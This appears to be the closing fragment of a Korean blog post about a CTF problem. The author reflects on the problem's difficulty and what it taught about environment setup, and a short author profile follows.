꽤 어려운 문제기도 했고 개발환경설정을 더 공부할 수 있었던 문제였다. (port에서 삽질한거 빼고)

profile
Inha University / CTF Web Player / Team Riot of Noob

0개의 댓글